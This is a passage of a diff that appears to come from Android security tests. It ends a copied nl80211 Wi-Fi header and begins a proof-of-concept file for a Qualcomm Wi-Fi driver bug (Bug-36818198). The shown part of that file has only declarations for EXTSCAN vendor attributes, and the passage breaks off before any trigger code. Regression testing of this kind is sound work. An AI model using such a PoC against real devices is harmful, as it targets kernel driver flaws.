+ NL80211_PLINK_ESTAB,
+ NL80211_PLINK_HOLDING,
+ NL80211_PLINK_BLOCKED,
+
+ /* keep last */
+ NUM_NL80211_PLINK_STATES,
+ MAX_NL80211_PLINK_STATES = NUM_NL80211_PLINK_STATES - 1
+};
+
+/**
+ * enum nl80211_plink_action - actions to perform in mesh peers
+ *
+ * @NL80211_PLINK_ACTION_NO_ACTION: perform no action
+ * @NL80211_PLINK_ACTION_OPEN: start mesh peer link establishment
+ * @NL80211_PLINK_ACTION_BLOCK: block traffic from this mesh peer
+ * @NUM_NL80211_PLINK_ACTIONS: number of possible actions
+ */
+enum plink_actions {
+ NL80211_PLINK_ACTION_NO_ACTION,
+ NL80211_PLINK_ACTION_OPEN,
+ NL80211_PLINK_ACTION_BLOCK,
+
+ NUM_NL80211_PLINK_ACTIONS,
+};
+
+#define NL80211_KCK_LEN 16
+#define NL80211_KEK_LEN 16
+#define NL80211_REPLAY_CTR_LEN 8
+
+/**
+ * enum nl80211_rekey_data - attributes for GTK rekey offload
+ * @__NL80211_REKEY_DATA_INVALID: invalid number for nested attributes
+ * @NL80211_REKEY_DATA_KEK: key encryption key (binary)
+ * @NL80211_REKEY_DATA_KCK: key confirmation key (binary)
+ * @NL80211_REKEY_DATA_REPLAY_CTR: replay counter (binary)
+ * @NUM_NL80211_REKEY_DATA: number of rekey attributes (internal)
+ * @MAX_NL80211_REKEY_DATA: highest rekey attribute (internal)
+ */
+enum nl80211_rekey_data {
+ __NL80211_REKEY_DATA_INVALID,
+ NL80211_REKEY_DATA_KEK,
+ NL80211_REKEY_DATA_KCK,
+ NL80211_REKEY_DATA_REPLAY_CTR,
+
+ /* keep last */
+ NUM_NL80211_REKEY_DATA,
+ MAX_NL80211_REKEY_DATA = NUM_NL80211_REKEY_DATA - 1
+};
+
+/**
+ * enum nl80211_hidden_ssid - values for %NL80211_ATTR_HIDDEN_SSID
+ * @NL80211_HIDDEN_SSID_NOT_IN_USE: do not hide SSID (i.e., broadcast it in
+ * Beacon frames)
+ * @NL80211_HIDDEN_SSID_ZERO_LEN: hide SSID by using zero-length SSID element
+ * in Beacon frames
+ * @NL80211_HIDDEN_SSID_ZERO_CONTENTS: hide SSID by using correct length of SSID
+ * element in Beacon frames but zero out each byte in the SSID
+ */
+enum nl80211_hidden_ssid {
+ NL80211_HIDDEN_SSID_NOT_IN_USE,
+ NL80211_HIDDEN_SSID_ZERO_LEN,
+ NL80211_HIDDEN_SSID_ZERO_CONTENTS
+};
+
+/**
+ * enum nl80211_sta_wme_attr - station WME attributes
+ * @__NL80211_STA_WME_INVALID: invalid number for nested attribute
+ * @NL80211_STA_WME_UAPSD_QUEUES: bitmap of uapsd queues. the format
+ * is the same as the AC bitmap in the QoS info field.
+ * @NL80211_STA_WME_MAX_SP: max service period. the format is the same
+ * as the MAX_SP field in the QoS info field (but already shifted down).
+ * @__NL80211_STA_WME_AFTER_LAST: internal
+ * @NL80211_STA_WME_MAX: highest station WME attribute
+ */
+enum nl80211_sta_wme_attr {
+ __NL80211_STA_WME_INVALID,
+ NL80211_STA_WME_UAPSD_QUEUES,
+ NL80211_STA_WME_MAX_SP,
+
+ /* keep last */
+ __NL80211_STA_WME_AFTER_LAST,
+ NL80211_STA_WME_MAX = __NL80211_STA_WME_AFTER_LAST - 1
+};
+
+/**
+ * enum nl80211_pmksa_candidate_attr - attributes for PMKSA caching candidates
+ * @__NL80211_PMKSA_CANDIDATE_INVALID: invalid number for nested attributes
+ * @NL80211_PMKSA_CANDIDATE_INDEX: candidate index (u32; the smaller, the higher
+ * priority)
+ * @NL80211_PMKSA_CANDIDATE_BSSID: candidate BSSID (6 octets)
+ * @NL80211_PMKSA_CANDIDATE_PREAUTH: RSN pre-authentication supported (flag)
+ * @NUM_NL80211_PMKSA_CANDIDATE: number of PMKSA caching candidate attributes
+ * (internal)
+ * @MAX_NL80211_PMKSA_CANDIDATE: highest PMKSA caching candidate attribute
+ * (internal)
+ */
+enum nl80211_pmksa_candidate_attr {
+ __NL80211_PMKSA_CANDIDATE_INVALID,
+ NL80211_PMKSA_CANDIDATE_INDEX,
+ NL80211_PMKSA_CANDIDATE_BSSID,
+ NL80211_PMKSA_CANDIDATE_PREAUTH,
+
+ /* keep last */
+ NUM_NL80211_PMKSA_CANDIDATE,
+ MAX_NL80211_PMKSA_CANDIDATE = NUM_NL80211_PMKSA_CANDIDATE - 1
+};
+
+/**
+ * enum nl80211_tdls_operation - values for %NL80211_ATTR_TDLS_OPERATION
+ * @NL80211_TDLS_DISCOVERY_REQ: Send a TDLS discovery request
+ * @NL80211_TDLS_SETUP: Setup TDLS link
+ * @NL80211_TDLS_TEARDOWN: Teardown a TDLS link which is already established
+ * @NL80211_TDLS_ENABLE_LINK: Enable TDLS link
+ * @NL80211_TDLS_DISABLE_LINK: Disable TDLS link
+ */
+enum nl80211_tdls_operation {
+ NL80211_TDLS_DISCOVERY_REQ,
+ NL80211_TDLS_SETUP,
+ NL80211_TDLS_TEARDOWN,
+ NL80211_TDLS_ENABLE_LINK,
+ NL80211_TDLS_DISABLE_LINK,
+};
+
+/*
+ * enum nl80211_ap_sme_features - device-integrated AP features
+ * Reserved for future use, no bits are defined in
+ * NL80211_ATTR_DEVICE_AP_SME yet.
+enum nl80211_ap_sme_features {
+};
+ */
+
+/**
+ * enum nl80211_feature_flags - device/driver features
+ * @NL80211_FEATURE_SK_TX_STATUS: This driver supports reflecting back
+ * TX status to the socket error queue when requested with the
+ * socket option.
+ * @NL80211_FEATURE_HT_IBSS: This driver supports IBSS with HT datarates.
+ * @NL80211_FEATURE_INACTIVITY_TIMER: This driver takes care of freeing up
+ * the connected inactive stations in AP mode.
+ * @NL80211_FEATURE_CELL_BASE_REG_HINTS: This driver has been tested
+ * to work properly to suppport receiving regulatory hints from
+ * cellular base stations.
+ * @NL80211_FEATURE_P2P_DEVICE_NEEDS_CHANNEL: (no longer available, only
+ * here to reserve the value for API/ABI compatibility)
+ * @NL80211_FEATURE_SAE: This driver supports simultaneous authentication of
+ * equals (SAE) with user space SME (NL80211_CMD_AUTHENTICATE) in station
+ * mode
+ * @NL80211_FEATURE_LOW_PRIORITY_SCAN: This driver supports low priority scan
+ * @NL80211_FEATURE_SCAN_FLUSH: Scan flush is supported
+ * @NL80211_FEATURE_AP_SCAN: Support scanning using an AP vif
+ * @NL80211_FEATURE_VIF_TXPOWER: The driver supports per-vif TX power setting
+ * @NL80211_FEATURE_NEED_OBSS_SCAN: The driver expects userspace to perform
+ * OBSS scans and generate 20/40 BSS coex reports. This flag is used only
+ * for drivers implementing the CONNECT API, for AUTH/ASSOC it is implied.
+ * @NL80211_FEATURE_P2P_GO_CTWIN: P2P GO implementation supports CT Window
+ * setting
+ * @NL80211_FEATURE_P2P_GO_OPPPS: P2P GO implementation supports opportunistic
+ * powersave
+ * @NL80211_FEATURE_FULL_AP_CLIENT_STATE: The driver supports full state
+ * transitions for AP clients. Without this flag (and if the driver
+ * doesn't have the AP SME in the device) the driver supports adding
+ * stations only when they're associated and adds them in associated
+ * state (to later be transitioned into authorized), with this flag
+ * they should be added before even sending the authentication reply
+ * and then transitioned into authenticated, associated and authorized
+ * states using station flags.
+ * Note that even for drivers that support this, the default is to add
+ * stations in authenticated/associated state, so to add unauthenticated
+ * stations the authenticated/associated bits have to be set in the mask.
+ * @NL80211_FEATURE_ADVERTISE_CHAN_LIMITS: cfg80211 advertises channel limits
+ * (HT40, VHT 80/160 MHz) if this flag is set
+ * @NL80211_FEATURE_USERSPACE_MPM: This driver supports a userspace Mesh
+ * Peering Management entity which may be implemented by registering for
+ * beacons or NL80211_CMD_NEW_PEER_CANDIDATE events. The mesh beacon is
+ * still generated by the driver.
+ * @NL80211_FEATURE_ACTIVE_MONITOR: This driver supports an active monitor
+ * interface. An active monitor interface behaves like a normal monitor
+ * interface, but gets added to the driver. It ensures that incoming
+ * unicast packets directed at the configured interface address get ACKed.
+ * @NL80211_FEATURE_AP_MODE_CHAN_WIDTH_CHANGE: This driver supports dynamic
+ * channel bandwidth change (e.g., HT 20 <-> 40 MHz channel) during the
+ * lifetime of a BSS.
+ * @NL80211_FEATURE_DS_PARAM_SET_IE_IN_PROBES: This device adds a DS Parameter
+ * Set IE to probe requests.
+ * @NL80211_FEATURE_WFA_TPC_IE_IN_PROBES: This device adds a WFA TPC Report IE
+ * to probe requests.
+ * @NL80211_FEATURE_QUIET: This device, in client mode, supports Quiet Period
+ * requests sent to it by an AP.
+ * @NL80211_FEATURE_TX_POWER_INSERTION: This device is capable of inserting the
+ * current tx power value into the TPC Report IE in the spectrum
+ * management TPC Report action frame, and in the Radio Measurement Link
+ * Measurement Report action frame.
+ * @NL80211_FEATURE_ACKTO_ESTIMATION: This driver supports dynamic ACK timeout
+ * estimation (dynack). %NL80211_ATTR_WIPHY_DYN_ACK flag attribute is used
+ * to enable dynack.
+ * @NL80211_FEATURE_STATIC_SMPS: Device supports static spatial
+ * multiplexing powersave, ie. can turn off all but one chain
+ * even on HT connections that should be using more chains.
+ * @NL80211_FEATURE_DYNAMIC_SMPS: Device supports dynamic spatial
+ * multiplexing powersave, ie. can turn off all but one chain
+ * and then wake the rest up as required after, for example,
+ * rts/cts handshake.
+ */
+enum nl80211_feature_flags {
+ NL80211_FEATURE_SK_TX_STATUS = 1 << 0,
+ NL80211_FEATURE_HT_IBSS = 1 << 1,
+ NL80211_FEATURE_INACTIVITY_TIMER = 1 << 2,
+ NL80211_FEATURE_CELL_BASE_REG_HINTS = 1 << 3,
+ NL80211_FEATURE_P2P_DEVICE_NEEDS_CHANNEL = 1 << 4,
+ NL80211_FEATURE_SAE = 1 << 5,
+ NL80211_FEATURE_LOW_PRIORITY_SCAN = 1 << 6,
+ NL80211_FEATURE_SCAN_FLUSH = 1 << 7,
+ NL80211_FEATURE_AP_SCAN = 1 << 8,
+ NL80211_FEATURE_VIF_TXPOWER = 1 << 9,
+ NL80211_FEATURE_NEED_OBSS_SCAN = 1 << 10,
+ NL80211_FEATURE_P2P_GO_CTWIN = 1 << 11,
+ NL80211_FEATURE_P2P_GO_OPPPS = 1 << 12,
+ /* bit 13 is reserved */
+ NL80211_FEATURE_ADVERTISE_CHAN_LIMITS = 1 << 14,
+ NL80211_FEATURE_FULL_AP_CLIENT_STATE = 1 << 15,
+ NL80211_FEATURE_USERSPACE_MPM = 1 << 16,
+ NL80211_FEATURE_ACTIVE_MONITOR = 1 << 17,
+ NL80211_FEATURE_AP_MODE_CHAN_WIDTH_CHANGE = 1 << 18,
+ NL80211_FEATURE_DS_PARAM_SET_IE_IN_PROBES = 1 << 19,
+ NL80211_FEATURE_WFA_TPC_IE_IN_PROBES = 1 << 20,
+ NL80211_FEATURE_QUIET = 1 << 21,
+ NL80211_FEATURE_TX_POWER_INSERTION = 1 << 22,
+ NL80211_FEATURE_ACKTO_ESTIMATION = 1 << 23,
+ NL80211_FEATURE_STATIC_SMPS = 1 << 24,
+ NL80211_FEATURE_DYNAMIC_SMPS = 1 << 25,
+};
+
+/**
+ * enum nl80211_probe_resp_offload_support_attr - optional supported
+ * protocols for probe-response offloading by the driver/FW.
+ * To be used with the %NL80211_ATTR_PROBE_RESP_OFFLOAD attribute.
+ * Each enum value represents a bit in the bitmap of supported
+ * protocols. Typically a subset of probe-requests belonging to a
+ * supported protocol will be excluded from offload and uploaded
+ * to the host.
+ *
+ * @NL80211_PROBE_RESP_OFFLOAD_SUPPORT_WPS: Support for WPS ver. 1
+ * @NL80211_PROBE_RESP_OFFLOAD_SUPPORT_WPS2: Support for WPS ver. 2
+ * @NL80211_PROBE_RESP_OFFLOAD_SUPPORT_P2P: Support for P2P
+ * @NL80211_PROBE_RESP_OFFLOAD_SUPPORT_80211U: Support for 802.11u
+ */
+enum nl80211_probe_resp_offload_support_attr {
+ NL80211_PROBE_RESP_OFFLOAD_SUPPORT_WPS = 1 << 0,
+ NL80211_PROBE_RESP_OFFLOAD_SUPPORT_WPS2 = 1 << 1,
+ NL80211_PROBE_RESP_OFFLOAD_SUPPORT_P2P = 1 << 2,
+ NL80211_PROBE_RESP_OFFLOAD_SUPPORT_80211U = 1 << 3,
+};
+
+/**
+ * enum nl80211_connect_failed_reason - connection request failed reasons
+ * @NL80211_CONN_FAIL_MAX_CLIENTS: Maximum number of clients that can be
+ * handled by the AP is reached.
+ * @NL80211_CONN_FAIL_BLOCKED_CLIENT: Connection request is rejected due to ACL.
+ */
+enum nl80211_connect_failed_reason {
+ NL80211_CONN_FAIL_MAX_CLIENTS,
+ NL80211_CONN_FAIL_BLOCKED_CLIENT,
+};
+
+/**
+ * enum nl80211_scan_flags - scan request control flags
+ *
+ * Scan request control flags are used to control the handling
+ * of NL80211_CMD_TRIGGER_SCAN and NL80211_CMD_START_SCHED_SCAN
+ * requests.
+ *
+ * @NL80211_SCAN_FLAG_LOW_PRIORITY: scan request has low priority
+ * @NL80211_SCAN_FLAG_FLUSH: flush cache before scanning
+ * @NL80211_SCAN_FLAG_AP: force a scan even if the interface is configured
+ * as AP and the beaconing has already been configured. This attribute is
+ * dangerous because will destroy stations performance as a lot of frames
+ * will be lost while scanning off-channel, therefore it must be used only
+ * when really needed
+ */
+enum nl80211_scan_flags {
+ NL80211_SCAN_FLAG_LOW_PRIORITY = 1 << 0,
+ NL80211_SCAN_FLAG_FLUSH = 1 << 1,
+ NL80211_SCAN_FLAG_AP = 1 << 2,
+};
+
+/**
+ * enum nl80211_acl_policy - access control policy
+ *
+ * Access control policy is applied on a MAC list set by
+ * %NL80211_CMD_START_AP and %NL80211_CMD_SET_MAC_ACL, to
+ * be used with %NL80211_ATTR_ACL_POLICY.
+ *
+ * @NL80211_ACL_POLICY_ACCEPT_UNLESS_LISTED: Deny stations which are
+ * listed in ACL, i.e. allow all the stations which are not listed
+ * in ACL to authenticate.
+ * @NL80211_ACL_POLICY_DENY_UNLESS_LISTED: Allow the stations which are listed
+ * in ACL, i.e. deny all the stations which are not listed in ACL.
+ */
+enum nl80211_acl_policy {
+ NL80211_ACL_POLICY_ACCEPT_UNLESS_LISTED,
+ NL80211_ACL_POLICY_DENY_UNLESS_LISTED,
+};
+
+/**
+ * enum nl80211_smps_mode - SMPS mode
+ *
+ * Requested SMPS mode (for AP mode)
+ *
+ * @NL80211_SMPS_OFF: SMPS off (use all antennas).
+ * @NL80211_SMPS_STATIC: static SMPS (use a single antenna)
+ * @NL80211_SMPS_DYNAMIC: dynamic smps (start with a single antenna and
+ * turn on other antennas after CTS/RTS).
+ */
+enum nl80211_smps_mode {
+ NL80211_SMPS_OFF,
+ NL80211_SMPS_STATIC,
+ NL80211_SMPS_DYNAMIC,
+
+ __NL80211_SMPS_AFTER_LAST,
+ NL80211_SMPS_MAX = __NL80211_SMPS_AFTER_LAST - 1
+};
+
+/**
+ * enum nl80211_radar_event - type of radar event for DFS operation
+ *
+ * Type of event to be used with NL80211_ATTR_RADAR_EVENT to inform userspace
+ * about detected radars or success of the channel available check (CAC)
+ *
+ * @NL80211_RADAR_DETECTED: A radar pattern has been detected. The channel is
+ * now unusable.
+ * @NL80211_RADAR_CAC_FINISHED: Channel Availability Check has been finished,
+ * the channel is now available.
+ * @NL80211_RADAR_CAC_ABORTED: Channel Availability Check has been aborted, no
+ * change to the channel status.
+ * @NL80211_RADAR_NOP_FINISHED: The Non-Occupancy Period for this channel is
+ * over, channel becomes usable.
+ */
+enum nl80211_radar_event {
+ NL80211_RADAR_DETECTED,
+ NL80211_RADAR_CAC_FINISHED,
+ NL80211_RADAR_CAC_ABORTED,
+ NL80211_RADAR_NOP_FINISHED,
+};
+
+/**
+ * enum nl80211_dfs_state - DFS states for channels
+ *
+ * Channel states used by the DFS code.
+ *
+ * @NL80211_DFS_USABLE: The channel can be used, but channel availability
+ * check (CAC) must be performed before using it for AP or IBSS.
+ * @NL80211_DFS_UNAVAILABLE: A radar has been detected on this channel, it
+ * is therefore marked as not available.
+ * @NL80211_DFS_AVAILABLE: The channel has been CAC checked and is available.
+ */
+enum nl80211_dfs_state {
+ NL80211_DFS_USABLE,
+ NL80211_DFS_UNAVAILABLE,
+ NL80211_DFS_AVAILABLE,
+};
+
+/**
+ * enum enum nl80211_protocol_features - nl80211 protocol features
+ * @NL80211_PROTOCOL_FEATURE_SPLIT_WIPHY_DUMP: nl80211 supports splitting
+ * wiphy dumps (if requested by the application with the attribute
+ * %NL80211_ATTR_SPLIT_WIPHY_DUMP. Also supported is filtering the
+ * wiphy dump by %NL80211_ATTR_WIPHY, %NL80211_ATTR_IFINDEX or
+ * %NL80211_ATTR_WDEV.
+ */
+enum nl80211_protocol_features {
+ NL80211_PROTOCOL_FEATURE_SPLIT_WIPHY_DUMP = 1 << 0,
+};
+
+/**
+ * enum nl80211_crit_proto_id - nl80211 critical protocol identifiers
+ *
+ * @NL80211_CRIT_PROTO_UNSPEC: protocol unspecified.
+ * @NL80211_CRIT_PROTO_DHCP: BOOTP or DHCPv6 protocol.
+ * @NL80211_CRIT_PROTO_EAPOL: EAPOL protocol.
+ * @NL80211_CRIT_PROTO_APIPA: APIPA protocol.
+ * @NUM_NL80211_CRIT_PROTO: must be kept last.
+ */
+enum nl80211_crit_proto_id {
+ NL80211_CRIT_PROTO_UNSPEC,
+ NL80211_CRIT_PROTO_DHCP,
+ NL80211_CRIT_PROTO_EAPOL,
+ NL80211_CRIT_PROTO_APIPA,
+ /* add other protocols before this one */
+ NUM_NL80211_CRIT_PROTO
+};
+
+/* maximum duration for critical protocol measures */
+#define NL80211_CRIT_PROTO_MAX_DURATION 5000 /* msec */
+
+/**
+ * enum nl80211_rxmgmt_flags - flags for received management frame.
+ *
+ * Used by cfg80211_rx_mgmt()
+ *
+ * @NL80211_RXMGMT_FLAG_ANSWERED: frame was answered by device/driver.
+ */
+enum nl80211_rxmgmt_flags {
+ NL80211_RXMGMT_FLAG_ANSWERED = 1 << 0,
+};
+
+/*
+ * If this flag is unset, the lower 24 bits are an OUI, if set
+ * a Linux nl80211 vendor ID is used (no such IDs are allocated
+ * yet, so that's not valid so far)
+ */
+#define NL80211_VENDOR_ID_IS_LINUX 0x80000000
+
+/**
+ * struct nl80211_vendor_cmd_info - vendor command data
+ * @vendor_id: If the %NL80211_VENDOR_ID_IS_LINUX flag is clear, then the
+ * value is a 24-bit OUI; if it is set then a separately allocated ID
+ * may be used, but no such IDs are allocated yet. New IDs should be
+ * added to this file when needed.
+ * @subcmd: sub-command ID for the command
+ */
+struct nl80211_vendor_cmd_info {
+ __u32 vendor_id;
+ __u32 subcmd;
+};
+
+/**
+ * enum nl80211_tdls_peer_capability - TDLS peer flags.
+ *
+ * Used by tdls_mgmt() to determine which conditional elements need
+ * to be added to TDLS Setup frames.
+ *
+ * @NL80211_TDLS_PEER_HT: TDLS peer is HT capable.
+ * @NL80211_TDLS_PEER_VHT: TDLS peer is VHT capable.
+ * @NL80211_TDLS_PEER_WMM: TDLS peer is WMM capable.
+ */
+enum nl80211_tdls_peer_capability {
+ NL80211_TDLS_PEER_HT = 1 << 0,
+ NL80211_TDLS_PEER_VHT = 1 << 1,
+ NL80211_TDLS_PEER_WMM = 1 << 2,
+};
+
+static inline struct nlattr *nla_next(const struct nlattr *nla,
+ int *remaining) {
+ int totlen = NLA_ALIGN(nla->nla_len);
+
+ *remaining -= totlen;
+ return (struct nlattr *)((char *)nla + totlen);
+}
+
+static inline int nla_ok(const struct nlattr *nla, int remaining) {
+ return remaining >= (int)sizeof(*nla) && nla->nla_len >= sizeof(*nla) &&
+ nla->nla_len <= remaining;
+}
+
+#define nla_for_each_attr(pos, head, len, rem) \
+ for (pos = head, rem = len; nla_ok(pos, rem); pos = nla_next(pos, &(rem)))
+
+#endif /* __LINUX_NL80211_H */
diff --git a/hostsidetests/security/securityPatch/Bug-36818198/poc.c b/hostsidetests/security/securityPatch/Bug-36818198/poc.c
new file mode 100644
index 0000000..82838d8
--- /dev/null
+++ b/hostsidetests/security/securityPatch/Bug-36818198/poc.c
@@ -0,0 +1,1120 @@
+/**
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#define _GNU_SOURCE
+#include <sys/wait.h>
+#include <unistd.h>
+#include <time.h>
+#include <stdlib.h>
+#include <netinet/in.h>
+
+#include <errno.h>
+#include <linux/genetlink.h>
+#include <linux/netlink.h>
+#include <linux/wireless.h>
+#include <stdint.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <sys/ioctl.h>
+#include <sys/socket.h>
+#include <sys/types.h>
+#include "local_poc.h"
+
+typedef signed char s8;
+typedef unsigned char u8;
+
+typedef signed short s16;
+typedef unsigned short u16;
+
+typedef signed int s32;
+typedef unsigned int u32;
+
+typedef signed long long s64;
+typedef unsigned long long u64;
+
+typedef s8 __s8;
+typedef u8 __u8;
+typedef s16 __s16;
+typedef u16 __u16;
+typedef s32 __s32;
+typedef u32 __u32;
+typedef s64 __s64;
+typedef u64 __u64;
+
+#define PARAM_MAX QCA_WLAN_VENDOR_ATTR_EXTSCAN_SUBCMD_CONFIG_PARAM_MAX
+#define PARAM_REQUEST_ID \
+ QCA_WLAN_VENDOR_ATTR_EXTSCAN_SUBCMD_CONFIG_PARAM_REQUEST_ID
+#define PARAMS_LOST_SSID_SAMPLE_SIZE \
+ QCA_WLAN_VENDOR_ATTR_EXTSCAN_SSID_HOTLIST_PARAMS_LOST_SSID_SAMPLE_SIZE
+#define PARAMS_NUM_SSID \
+ QCA_WLAN_VENDOR_ATTR_EXTSCAN_SSID_HOTLIST_PARAMS_NUM_SSID
+#define THRESHOLD_PARAM QCA_WLAN_VENDOR_ATTR_EXTSCAN_SSID_THRESHOLD_PARAM
+#define PARAM_SSID QCA_WLAN_VENDOR_ATTR_EXTSCAN_SSID_THRESHOLD_PARAM_SSID
+#define PARAM_BAND QCA_WLAN_VENDOR_ATTR_EXTSCAN_SSID_THRESHOLD_PARAM_BAND
+#define PARAM_RSSI_LOW \
+ QCA_WLAN_VENDOR_ATTR_EXTSCAN_SSID_THRESHOLD_PARAM_RSSI_LOW
+#define PARAM_RSSI_HIGH \
+ QCA_WLAN_VENDOR_ATTR_EXTSCAN_SSID_THRESHOLD_PARAM_RSSI_HIGH
+
+enum qca_wlan_vendor_attr_extscan_results {
+ QCA_WLAN_VENDOR_ATTR_EXTSCAN_RESULTS_INVALID = 0,
+
+ /* Unsigned 32-bit value; must match the request Id supplied by Wi-Fi HAL
+ * in the corresponding subcmd NL msg
+ */
+ QCA_WLAN_VENDOR_ATTR_EXTSCAN_RESULTS_REQUEST_ID,
+
+ /* Unsigned 32-bit value; used to indicate the status response from
+ * firmware/driver for the vendor sub-command.
+ */
+ QCA_WLAN_VENDOR_ATTR_EXTSCAN_STATUS,
+
+ /* EXTSCAN Valid Channels attributes */
+ /* Unsigned 32bit value; followed by a nested array of CHANNELS.
+ */
+ QCA_WLAN_VENDOR_ATTR_EXTSCAN_RESULTS_NUM_CHANNELS,
+ /* An array of NUM_CHANNELS x Unsigned 32bit value integers representing
+ * channel numbers
+ */
+ QCA_WLAN_VENDOR_ATTR_EXTSCAN_RESULTS_CHANNELS,
+
+ /* EXTSCAN Capabilities attributes */
+ /* Unsigned 32bit value */
+ QCA_WLAN_VENDOR_ATTR_EXTSCAN_RESULTS_CAPABILITIES_MAX_SCAN_CACHE_SIZE,
+ /* Unsigned 32bit value */
+ QCA_WLAN_VENDOR_ATTR_EXTSCAN_RESULTS_CAPABILITIES_MAX_SCAN_BUCKETS,
+ /* Unsigned 32bit value */
+ QCA_WLAN_VENDOR_ATTR_EXTSCAN_RESULTS_CAPABILITIES_MAX_AP_CACHE_PER_SCAN,
+ /* Unsigned 32bit value */
+ QCA_WLAN_VENDOR_ATTR_EXTSCAN_RESULTS_CAPABILITIES_MAX_RSSI_SAMPLE_SIZE,
+ /* Signed 32bit value */
+ QCA_WLAN_VENDOR_ATTR_EXTSCAN_RESULTS_CAPABILITIES_MAX_SCAN_REPORTING_THRESHOLD,
+ /* Unsigned 32bit value */
+ QCA_WLAN_VENDOR_ATTR_EXTSCAN_RESULTS_CAPABILITIES_MAX_HOTLIST_BSSIDS,
+ /* Unsigned 32bit value */
+ QCA_WLAN_VENDOR_ATTR_EXTSCAN_RESULTS_CAPABILITIES_MAX_SIGNIFICANT_WIFI_CHANGE_APS,
+ /* Unsigned 32bit value */
+ QCA_WLAN_VENDOR_ATTR_EXTSCAN_RESULTS_CAPABILITIES_MAX_BSSID_HISTORY_ENTRIES,
+
+ /* EXTSCAN Attributes used with
+ * QCA_NL80211_VENDOR_SUBCMD_EXTSCAN_SCAN_RESULTS_AVAILABLE sub-command.
+ */
+
+ /* Unsigned 32-bit value */
+ QCA_WLAN_VENDOR_ATTR_EXTSCAN_NUM_RESULTS_AVAILABLE,
+
+ /* EXTSCAN attributes used with
+ * QCA_NL80211_VENDOR_SUBCMD_EXTSCAN_FULL_SCAN_RESULT sub-command.
+ */
+
+ /* An array of NUM_RESULTS_AVAILABLE x
+ * QCA_WLAN_VENDOR_ATTR_EXTSCAN_RESULTS_SCAN_RESULT_*
+ */
+ QCA_WLAN_VENDOR_ATTR_EXTSCAN_RESULTS_LIST,
+
+ /* Unsigned 64-bit value; age of sample at the time of retrieval */
+ QCA_WLAN_VENDOR_ATTR_EXTSCAN_RESULTS_SCAN_RESULT_TIME_STAMP,
+ /* 33 x unsigned 8-bit value; NULL terminated SSID */
+ QCA_WLAN_VENDOR_ATTR_EXTSCAN_RESULTS_SCAN_RESULT_SSID,
+ /* An array of 6 x Unsigned 8-bit value */
+ QCA_WLAN_VENDOR_ATTR_EXTSCAN_RESULTS_SCAN_RESULT_BSSID,
+ /* Unsigned 32-bit value; channel frequency in MHz */
+ QCA_WLAN_VENDOR_ATTR_EXTSCAN_RESULTS_SCAN_RESULT_CHANNEL,
+ /* Signed 32-bit value */
+ QCA_WLAN_VENDOR_ATTR_EXTSCAN_RESULTS_SCAN_RESULT_RSSI,
+ /* Unsigned 32-bit value */
+ QCA_WLAN_VENDOR_ATTR_EXTSCAN_RESULTS_SCAN_RESULT_RTT,
+ /* Unsigned 32-bit value */
+ QCA_WLAN_VENDOR_ATTR_EXTSCAN_RESULTS_SCAN_RESULT_RTT_SD,
+ /* Unsigned 16-bit value */
+ QCA_WLAN_VENDOR_ATTR_EXTSCAN_RESULTS_SCAN_RESULT_BEACON_PERIOD,
+ /* Unsigned 16-bit value */
+ QCA_WLAN_VENDOR_ATTR_EXTSCAN_RESULTS_SCAN_RESULT_CAPABILITY,
+ /* Unsigned 32-bit value; size of the IE DATA blob */
+ QCA_WLAN_VENDOR_ATTR_EXTSCAN_RESULTS_SCAN_RESULT_IE_LENGTH,
+ /* An array of IE_LENGTH x Unsigned 8-bit value; blob of all the
+ * information elements found in the beacon; this data should be a
+ * packed list of wifi_information_element objects, one after the other.
+ */
+ QCA_WLAN_VENDOR_ATTR_EXTSCAN_RESULTS_SCAN_RESULT_IE_DATA,
+ /* Unsigned 8-bit value; set by driver to indicate more scan results are
+ * available.
+ */
+ QCA_WLAN_VENDOR_ATTR_EXTSCAN_RESULTS_SCAN_RESULT_MORE_DATA,
+
+ /* Use attr QCA_WLAN_VENDOR_ATTR_EXTSCAN_NUM_RESULTS_AVAILABLE
+ * to indicate number of wifi scan results/bssids retrieved by the scan.
+ * Also, use QCA_WLAN_VENDOR_ATTR_EXTSCAN_RESULTS_LIST to indicate the list
+ * of wifi scan results returned for each cached result block.
+ */
+
+ /* EXTSCAN attributes for
+ * QCA_NL80211_VENDOR_SUBCMD_EXTSCAN_SCAN_EVENT sub-command.
+ */
+ /* Unsigned 8-bit value */
+ QCA_WLAN_VENDOR_ATTR_EXTSCAN_RESULTS_SCAN_EVENT_TYPE,
+ /* Unsigned 32-bit value */
+ QCA_WLAN_VENDOR_ATTR_EXTSCAN_RESULTS_SCAN_EVENT_STATUS,
+
+ /* EXTSCAN attributes for
+ * QCA_NL80211_VENDOR_SUBCMD_EXTSCAN_HOTLIST_AP_FOUND sub-command.
+ */
+ /* Use attr QCA_WLAN_VENDOR_ATTR_EXTSCAN_NUM_RESULTS_AVAILABLE
+ * to indicate number of results.
+ */
+
+ /* EXTSCAN attributes for
+ * QCA_NL80211_VENDOR_SUBCMD_EXTSCAN_SIGNIFICANT_CHANGE sub-command.
+ */
+ /* An array of 6 x Unsigned 8-bit value */
+ QCA_WLAN_VENDOR_ATTR_EXTSCAN_RESULTS_SIGNIFICANT_CHANGE_RESULT_BSSID,
+ /* Unsigned 32-bit value */
+ QCA_WLAN_VENDOR_ATTR_EXTSCAN_RESULTS_SIGNIFICANT_CHANGE_RESULT_CHANNEL,
+ /* Unsigned 32-bit value.
+ */
+ QCA_WLAN_VENDOR_ATTR_EXTSCAN_RESULTS_SIGNIFICANT_CHANGE_RESULT_NUM_RSSI,
+ /* A nested array of signed 32-bit RSSI values. Size of the array is
+ * determined by (NUM_RSSI of SIGNIFICANT_CHANGE_RESULT_NUM_RSSI.
+ */
+ QCA_WLAN_VENDOR_ATTR_EXTSCAN_RESULTS_SIGNIFICANT_CHANGE_RESULT_RSSI_LIST,
+
+ /* EXTSCAN attributes used with
+ * QCA_NL80211_VENDOR_SUBCMD_EXTSCAN_GET_CACHED_RESULTS sub-command.
+ */
